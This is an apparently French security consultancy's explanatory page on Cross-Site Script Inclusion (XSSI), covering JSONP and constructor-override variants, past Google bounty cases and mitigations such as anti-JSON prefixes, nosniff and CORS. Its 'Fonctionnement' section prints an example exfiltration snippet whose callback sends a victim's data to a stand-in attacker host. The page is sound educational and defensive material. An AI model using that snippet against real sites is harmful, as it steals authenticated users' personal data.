Cross-Site Script Inclusion (XSSI)
hackingDéfinition
La Cross-Site Script Inclusion (XSSI) est une vulnérabilité web qui permet à un site malveillant de lire des données sensibles depuis un autre site en incluant leurs ressources JavaScript dans une balise <script src=...>. Contrairement au CSRF, l'XSSI permet de lire les données (et non seulement d'effectuer des actions), et contrairement au XSS classique, elle n'injecte pas de code mais lit du contenu légitime de manière illégitime.
L'XSSI exploite le fait que les navigateurs permettent le chargement de scripts depuis n'importe quel domaine via des balises script (pour permettre les CDN), mais les scripts chargés ainsi s'exécutent dans le contexte du domaine source. Si un script JavaScript authentifié retourne des données sensibles sous forme de code JavaScript (JSON avec un callback JSONP, variable globale JavaScript, etc.), un site malveillant peut capturer ces données en surchargeant des fonctions JavaScript avant le chargement.
Les variantes incluent : XSSI via JSONP (endpoint JSONP qui retourne des données sensibles de l'utilisateur authentifié), XSSI via variables globales (JavaScript qui assigne des données sensibles à window.userData = ...), XSSI via Array/Object constructors overriding (surcharger le constructeur Array pour capturer les données JSON non enveloppées dans une fonction), et XSSI via objet prototype (modifier Object.prototype pour capturer les propriétés).
Des bugs Google notables ont été découverts via XSSI : des endpoints GMail et Google+ retournaient des données d'abonnement et de contacts sous forme de JSONP exploitable. Ces vulnérabilités ont été récompensées dans le bug bounty.
Les protections incluent : préfixer les réponses JSON avec des séquences non-exécutables ()]}'\n ou for(;;); qui cassent l'inclusion script mais pas le parsing JSON du même domaine après strip du préfixe), utiliser X-Content-Type-Options: nosniff, et remplacer JSONP par CORS pour les API modernes.
Fonctionnement
Site attaquant inclut <script src='https://victime.com/api/user-data?callback=stealData'></script>. Si victime.com retourne stealData({email:'user@example.com',name:'John'}), stealData() est appelée dans le contexte du site attaquant avec les données sensibles. L'attaquant définit sa fonction stealData dans sa page : function stealData(d){fetch('https://attaquant.com/?data='+JSON.stringify(d));}. Les données de l'utilisateur authentifié sur victime.com sont exfiltrées.
Exploitation offensive
Les bugs bounty XSSI via JSONP sont encore trouvés sur des API legacy qui n'ont pas migré vers CORS. La technique nécessite que la victime soit authentifiée sur le site vulnérable ET visite simultanément la page de l'attaquant. Les API mobiles et les APIs d'authentification unique (SSO) avec des callbacks JSONP sont des cibles fréquentes.
Détection et mitigation
Remplacer JSONP par CORS (Access-Control-Allow-Origin avec valeurs strictes) élimine le vecteur XSSI. Pour les réponses JSON, utiliser Content-Type: application/json (pas text/javascript) et X-Content-Type-Options: nosniff. Préfixer les réponses JSON avec des tokens invalides en JavaScript (XSSI protection header : )]}'\n) que le code légitime du même domaine stripe avant parsing.
Articles liés
Expert en cybersécurité offensive et intelligence artificielle. Pentest, audit et développement IA sur-mesure.
Services
- Audit Infrastructure
- Audit Kubernetes
- Audit Microsoft 365
- Audit Sécurité Réseau
- Analyse de Risques
- Audit Active Directory
- Audit Application Web
- Audit Cloud (AWS/Azure/GCP)
- Audit Messagerie
- Audit API (OWASP Top 10)
- Audit DevSecOps & CI/CD
- Audit Code Source (SAST)
- Audit Postes de Travail
- Audit Sauvegarde & Résilience
- Audit OT/SCADA (IEC 62443)
- Développement IA
- Formations
Ressources
Projets & Outils
© 2026 Ayi NEDJIMI Consultants. Tous droits réservés.
Un projet cybersécurité ?
Expert dispo · Réponse 24h